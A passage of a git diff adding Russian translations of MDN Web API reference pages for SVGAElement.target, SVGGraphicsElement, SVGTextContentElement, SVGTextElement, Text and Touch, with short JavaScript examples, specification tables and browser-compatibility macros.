+        linkRef.target = '_self';
+    }
+    else
+        alert("SORRY! not _blank");
+} </pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Коммент</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#InterfaceSVGAElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Заменено наследование от {{domxref("SVGElement")}} {{domxref("SVGGraphicsElement")}} и удалены реализации интерфейса {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} и {{domxref("SVGTransformable")}} {{domxref ("HTMLHyperlinkElementUI")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'linking.html#InterfaceSVGAElement')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>SVG {{SVGElement("a")}} элемент</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/svgalement.target/index.html b/files/ru/web/api/svgaelement/svgalement.target/index.html
new file mode 100644
index 0000000000..c66c4a9612
--- /dev/null
+++ b/files/ru/web/api/svgaelement/svgalement.target/index.html
@@ -0,0 +1,106 @@
+---
+title: SVGAElement.target
+slug: Web/API/SVGAElement/SVGAlement.target
+translation_of: Web/API/SVGAElement/target
+---
+<p>{{APIRef("SVGAElement")}}</p>
+
+<p> </p>
+
+<p>Свойство <code><strong>SVGAElement.target</strong></code> для чтения только {{domxref ("SVGAElement")}} возвращает объект {{domxref ("SVGAnimatedString")}}, который указывает часть целевого окна, фрейма, панель, в которую открывается при активации ссылки.</p>
+
+<p>Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом mlti-frame.</p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code><em>myLink</em>.target = '<em>value</em>';</code></pre>
+
+<h3 id="Стоимость">Стоимость</h3>
+
+<p>{{Domxref ("SVGAnimatedString")}}, указывающий конечную цель ресурса, которая открывает документ при активации ссылки.</p>
+
+<p>Значения для {{domxref ("target")}} можно увидеть <a href="https://www.w3.org/TR/2011/REC-SVG11-20110816/linking.html#AElementTargetAttribute">here</a></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Код  взят из <a href="/en-US/docs/Web/API/SVGAElement#Example">"SVGAElement example code"</a></p>
+
+<pre class="brush: js">...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ SVGAttr("target") }}</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html
new file mode 100644
index 0000000000..d8e3ba1aa2
--- /dev/null
+++ b/files/ru/web/api/svgaelement/target/index.html
@@ -0,0 +1,59 @@
+---
+title: SVGAElement.target
+slug: Web/API/SVGAElement/target
+translation_of: Web/API/SVGAElement/target
+---
+<p>{{APIRef("SVGAElement")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>Свойство <code><strong>SVGAElement.target</strong></code>  только для чтения. {{domxref("SVGAElement")}} возвращает объект {{domxref("SVGAnimatedString")}}, указывающий часть целевого окна, фрейма, панели, в которой откроется при активации ссылки.</p>
+
+<p>Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом multi-frame.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code><em>myLink</em>.target = '<em>value</em>';</code></pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{Domxref ("SVGAnimatedString")}}, укажет конечную цель ресурса для открытия документа при активации ссылки.<br>
+ Примеры значений можно найти <a href="https://www.w3.org/TR/2011/REC-SVG11-20110816/linking.html#AElementTargetAttribute">здесь</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Код взят из <a href="/en-US/docs/Web/API/SVGAElement#Example">«Пример кода SVGAElement»</a>.</p>
+
+<pre class="brush: js">...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Коммент</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGAElement.target")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGAttr("target")}}</li>
+</ul>
diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html
new file mode 100644
index 0000000000..86f9e76035
--- /dev/null
+++ b/files/ru/web/api/svggraphicselement/index.html
@@ -0,0 +1,62 @@
+---
+title: SVGGraphicsElement
+slug: Web/API/SVGGraphicsElement
+tags:
+  - API
+  - SVG
+translation_of: Web/API/SVGGraphicsElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGGraphicsElement</code></strong> представляет элементы SVG, основной целью которых является прямое отображение графики в группу.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Этот интерфейс был введен в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот элемент наследует свойства от своего родителя, {{domxref("SVGElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGGraphicsElement.transform")}} {{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("SVGAnimatedTransformList")}} reflecting the computed value of the {{cssxref("transform")}} property and its corresponding {{SVGAttr("transform")}} attribute of the given element.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот элемент наследует методы своего родителя, {{domxref("SVGElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGGraphicsElement.getBBox()")}}</dt>
+ <dd>Returns a {{domxref("DOMRect")}} representing the computed bounding box of the current element.</dd>
+ <dt>{{domxref("SVGGraphicsElement.getCTM()")}}</dt>
+ <dd>Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to its SVG viewport's coordinate system.</dd>
+ <dt>{{domxref("SVGGraphicsElement.getScreenCTM()")}}</dt>
+ <dd>Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to the coordinate system of the SVG viewport for the SVG document fragment.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "types.html#InterfaceSVGGraphicsElement", "SVGGraphicsElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.SVGGraphicsElement")}}</p>
diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html
new file mode 100644
index 0000000000..384958a557
--- /dev/null
+++ b/files/ru/web/api/svgtextcontentelement/index.html
@@ -0,0 +1,110 @@
+---
+title: SVGTextContentElement
+slug: Web/API/SVGTextContentElement
+tags:
+  - SVG
+  - Справка
+translation_of: Web/API/SVGTextContentElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGTextContentElement</code></strong> реализуется элементами, которые поддерживают рендеринг дочернего текстового содержимого. Он наследуется различными текстовыми интерфейсами, такими как {{domxref("SVGTextElement")}}, {{domxref("SVGTSpanElement")}}, {{domxref("SVGTRefElement")}}, {{domxref("SVGAltGlyphElement")}} и {{domxref("SVGTextPathElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Константы">Константы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Константа</td>
+   <td>Значение </td>
+   <td>Описание</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_UNKNOWN</td>
+   <td>0</td>
+   <td>Иная ценность.</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_SPACING</td>
+   <td>1</td>
+   <td><code>spacing</code> дескриптор.</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_SPACINGANDGLYPHS</td>
+   <td>2</td>
+   <td><code>spacingAndGlyphs</code> дескриптор.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от его родителя,<br>
+ {{domxref("SVGGraphicsElement")}}. </em></p>
+
+<dl>
+ <dt>{{domxref("SVGTextContentElement.textLength")}} {{ReadOnlyInline}}</dt>
+ <dd>{{domxref("SVGAnimatedLength")}}, отражает атрибут {{SVGAttr("textLength")}} данного элемента.</dd>
+ <dt>{{domxref("SVGTextContentElement.lengthAdjust")}} {{ReadOnlyInline}}</dt>
+ <dd>{{domxref("SVGAnimatedEnumeration")}}, отражает атрибут {{SVGAttr("lengthAdjust")}} данного элемента. Значения числового типа представляют одно из значений константы выше.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от его родителя, {{domxref("SVGGraphicsElement")}}</em></p>
+
+<dl>
+ <dt>{{domxref("SVGTextContentElement.getNumberOfChars()")}}</dt>
+ <dd>Возвращает длину, представляющую общее количество адресуемых символов, доступных для рендеринга в текущем элементе, независимо от того, будут ли они отображаться.</dd>
+ <dt>{{domxref("SVGTextContentElement.getComputedTextLength()")}}</dt>
+ <dd>Возвращает float, представляющий вычисленную длину для текста внутри элемента.</dd>
+ <dt>{{domxref("SVGTextContentElement.getSubStringLength()")}}</dt>
+ <dd>Возвращает float, представляющий вычисленную длину форматированного расстояния продвижения текста для подстроки текста внутри элемента. Обратите внимание, что этот метод учитывает только ширину глифов в подстроке и любые дополнительные интервалы, вставленные свойствами CSS «letter-spacing» и «word-spacing». Настройки визуального интервала, сделанные атрибутом «x», игнорируются.</dd>
+ <dt>{{domxref("SVGTextContentElement.getStartPositionOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMPoint")}}, представляющий позицию типографического символа после выполнения макета текста.
+ <p class="note"><strong>Примечание:</strong> В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.</p>
+ </dd>
+ <dt>{{domxref("SVGTextContentElement.getEndPositionOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMPoint")}}, представляющий конечную позицию типографического символа после выполнения макета текста.
+ <p class="note"><strong>Примечание:</strong> В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.</p>
+ </dd>
+ <dt>{{domxref("SVGTextContentElement.getExtentOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMRect")}}, представляющий вычисляемые габариты ячейки глифа, соответствующие заданному типографическому символу.</dd>
+ <dt>{{domxref("SVGTextContentElement.getRotationOfChar()")}}</dt>
+ <dd>Возвращает поплавок <code>float</code>, представляющий поворот типографического символа.</dd>
+ <dt>{{domxref("SVGTextContentElement.getCharNumAtPosition()")}}</dt>
+ <dd>Возвращает длину символа, заставляющего текстовый глиф отображаться в заданной позиции в системе координат. Поскольку связь между символами и глифами не является взаимно однозначной, возвращается только первый символ соответствующего типографического символа. </dd>
+ <dt>{{domxref("SVGTextContentElement.selectSubString()")}} {{deprecated_inline}}</dt>
+ <dd>Выбирает текст внутри элемента.</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGTextContentElement")}}</p>
diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html
new file mode 100644
index 0000000000..f1e27d56a3
--- /dev/null
+++ b/files/ru/web/api/svgtextelement/index.html
@@ -0,0 +1,61 @@
+---
+title: SVGTextElement
+slug: Web/API/SVGTextElement
+tags:
+  - SVG
+  - Text
+  - Текст
+translation_of: Web/API/SVGTextElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGTextElement</code></strong> соответствует элементам {{SVGElement("text")}}.</p>
+
+<div style="margin-left: 4px; padding: 4px;">{{InheritanceDiagram(600, 120)}}</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не реализует никаких конкретных свойств, но наследует свойства от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}. </em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не реализует никаких конкретных методов, но наследует методы от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}.</em></p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>
+    <p>Удален реализованный<br>
+     интерфейс {{domxref("SVGTransformable")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGTextElement")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+</ul>
diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html
new file mode 100644
index 0000000000..f8e5f25f0e
--- /dev/null
+++ b/files/ru/web/api/text/index.html
@@ -0,0 +1,112 @@
+---
+title: Текст
+slug: Web/API/Text
+tags:
+  - Node
+  - Text
+  - Текст
+translation_of: Web/API/Text
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Интерфейс <strong><code>Text</code></strong> представляет собой текстовое содержание (элемента) {{domxref("Element")}} или {{domxref("Attr")}}.  Если элемент не имеет разметки внутри собственного содержимого, то он интерпретируется как a single child (implementing) <code>Text</code> ,который содержит текст элемента.  Однако, если элемент содержит разметку, он разбивается на information items и <code>Text</code> nodes ,которые образуют его дочерние элементы.</p>
+
+<p>Новые документы имеют единственный(одиночный) <code>Text</code> node для каждого блока текста. Со временем, могут быть созданы новые <code>Text</code> nodes, по мере того, как изменяется содержимое документа.  Метод {{domxref("Node.normalize()")}} производит слияние смежных объектов <code>Text </code>обратно в a single node для каждого блока текста.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Methods" name="Methods">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Text.Text", "Text()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>Text</code> node с параметром, который представляет собой его текстовое содержимое.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}</dt>
+ <dd>
+ <p>Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).</p>
+ </dd>
+ <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.</dd>
+ <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.</dd>
+</dl>
+
+<h3 id="Свойства_(included)_от_Slotable">Свойства (included) от Slotable</h3>
+
+<p><em>Интерфейс <code>Text</code>включает следующее свойство, определяемое при смешивании {{domxref("Slotable")}} .</em></p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("HTMLSlotElement")}}, представляющий {{htmlelement("slot")}}, в который вставлен данный узел.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует родительские методы, {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}</dt>
+ <dd>Заменяет текст текущего узла и  всех логически прилегающих узлов указанным текстом(with the specified text).</dd>
+</dl>
+
+<dl>
+ <dt><span class="internal">{{domxref("Text.splitText")}}</span></dt>
+ <dd>Разбивает узел на два узла с заданным отступом.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено свойство <code>isElementContentWhitespace</code>.<br>
+    <code>Удален метод replaceWholeText()</code>.<br>
+    Добавлен конструктор <code>Text()</code>.<br>
+    Добавлено свойство <code>assignedSlot</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Добавлены свойства <code>isElementContentWhitespace</code> и <code>wholeText</code>.<br>
+    Добавлен метод <code>replaceWholeText()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Без изменений по сравнению с  {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Text")}}</p>
+
+<h2 id="Смотри(те)_также">Смотри(те) также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a>.</li>
+</ul>
diff --git a/files/ru/web/api/touch/index.html b/files/ru/web/api/touch/index.html
new file mode 100644
index 0000000000..c7d6df32b8
--- /dev/null
+++ b/files/ru/web/api/touch/index.html
@@ -0,0 +1,108 @@
+---
+title: Touch
+slug: Web/API/Touch
+translation_of: Web/API/Touch
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><code><strong>Touch</strong></code> представляет определённую точку касания на сенсорном устройстве. Точка касания – это место контакта пальца или стилуса с сенсорной поверхностью тачскрина или трекпада.</p>
+
+<p>Свойства {{ domxref("Touch.radiusX") }}, {{ domxref("Touch.radiusY") }}, и {{ domxref("Touch.rotationAngle") }} содержат данные об области контакта между пользователем и экраном – <em>области касания</em>. Они могут быть полезны при работе с устройствами, предусматривающими указатели низкой точности, например палец. Эти значения описывают эллипс, который соответствует области контакта (например, кончик пальца пользователя). {{experimental_inline}}</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Многие значения зависят от устройства; например, если устройство не способно измерять силу нажатия на сенсорную поверхность, значение <code>force</code> всегда будет равняться 0. То же касается значений <code>radiusX</code> и <code>radiusY</code>; если у устройства только одна точка касания, данные значения всегда будут равны 1.</p>
+</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Touch.Touch", "Touch()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт объект Touch.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс не имеет предков, не наследует и не реализует другие свойства</em></p>
+
+<h3 id="Основные_свойства">Основные свойства</h3>
+
+<dl>
+ <dt>{{ domxref("Touch.identifier") }} {{readonlyInline}}</dt>
+ <dd>Возвращает уникальный идентификатор указанного объекта <code>Touch</code>. Данная точка касания (например, пальцем) будет иметь один и тот же идентификатор на протяжении всего движения по сенсорной поверхности. Это гарантирует, что вы всё время отслеживаете одно и то же касание.</dd>
+ <dt><strong>{{ domxref("Touch.screenX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату X точки касания относительно левого края экрана.</dd>
+ <dt><strong>{{ domxref("Touch.screenY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату Y точки касания относительно верхнего края экрана.</dd>
+ <dt><strong>{{ domxref("Touch.clientX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату X точки касания относительно левого края окна браузера, не учитывая прокрутку.</dd>
+ <dt><strong>{{ domxref("Touch.clientY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату Y точки касания относительно верхнего края окна браузера, не учитывая прокрутку.</dd>
+ <dt>{{ domxref("Touch.pageX") }} {{readonlyInline}}</dt>
+ <dd>Возвращает коодринату X точки касания относительно левого края документа. В отличие от <code>clientX</code>, это значение учитывает горизонтальную прокрутку, если она есть.</dd>
+ <dt>{{ domxref("Touch.pageY") }} {{readonlyInline}}</dt>
+ <dd>Возвращает коодринату Y точки касания относительно верхнего края документа. В отличие от <code>clientY</code>, это значение учитывает вертикальную прокрутку, если она есть.</dd>
+ <dt>{{ domxref("Touch.target") }} {{readonlyInline}}</dt>
+ <dd>Возвращает элемент ({{ domxref("Element")}}), на который попала точка касания, когда впервые появилась на сенсорной поверхности, даже если потом она была смещена за пределы данного элемента или даже была удалена из документа.</dd>
+</dl>
+
+<h3 id="Область_касания">Область касания</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("Touch.radiusX") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает радиус элипса по оси X, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и <code>screenX</code>.</dd>
+ <dt>{{ domxref("Touch.radiusY") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает радиус элипса по оси Y, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и <code>screenY</code>.</dd>
+ <dt>{{ domxref("Touch.rotationAngle") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает угол (в градусах), на который описываемый эллипс должен быть повёрнут по часовой стрелке, чтобы наиболее точно покрыть область контакта пользователя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref("Touch.force") }}{{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает силу давления пользователем на сенсорную поверхность. Является числом от 0.0 (без давления) до 1.0 (максимальное давление).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не имеет метода и родителя, а также не наследует и не реализует какой-либо метод.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены свойства <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code>, и также конструктор <code>Touch()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Touch")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
